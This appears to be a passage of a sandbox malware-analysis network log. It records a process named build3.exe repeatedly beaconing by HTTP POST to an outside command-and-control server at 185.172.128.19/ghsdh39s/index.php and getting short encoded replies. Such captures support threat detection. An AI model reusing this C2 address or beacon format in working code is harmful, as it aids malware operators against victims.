Dec 20, 2023 15:35:36.178026915 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:36.473218918 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49797	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:37.007602930 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:37.304687023 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:37.305531979 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:37.616175890 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49800	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:38.077430010 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:38.385303974 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:38.387068033 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:38.689289093 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49802	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:39.106311083 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:39.408493042 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:39.411196947 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:39.703850031 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49804	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:40.134449959 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:40.427140951 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:40.428003073 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:40.724287987 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49807	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:41.134283066 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:41.428980112 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:41.430296898 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:41.726427078 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49810	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:42.193736076 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:42.490572929 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:42.505825996 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:42.796677113 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49812	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:43.200608015 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:43.518475056 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:43.519501925 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:43.817924976 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49816	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:44.247018099 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:44.551214933 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:44.552097082 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:44.859124899 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49817	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:45.259267092 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:45.553394079 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:45.557924986 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:45.878792048 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49818	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:46.501841068 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:46.797842979 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:46.820808887 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:47.117798090 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49819	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:48.816726923 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:49.108295918 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:49.111939907 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:49.418674946 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49821	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:49.823009014 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:50.128998995 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:35:50.129789114 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:35:50.424204111 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49822	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:50.973742962 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:35:51.273427963 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
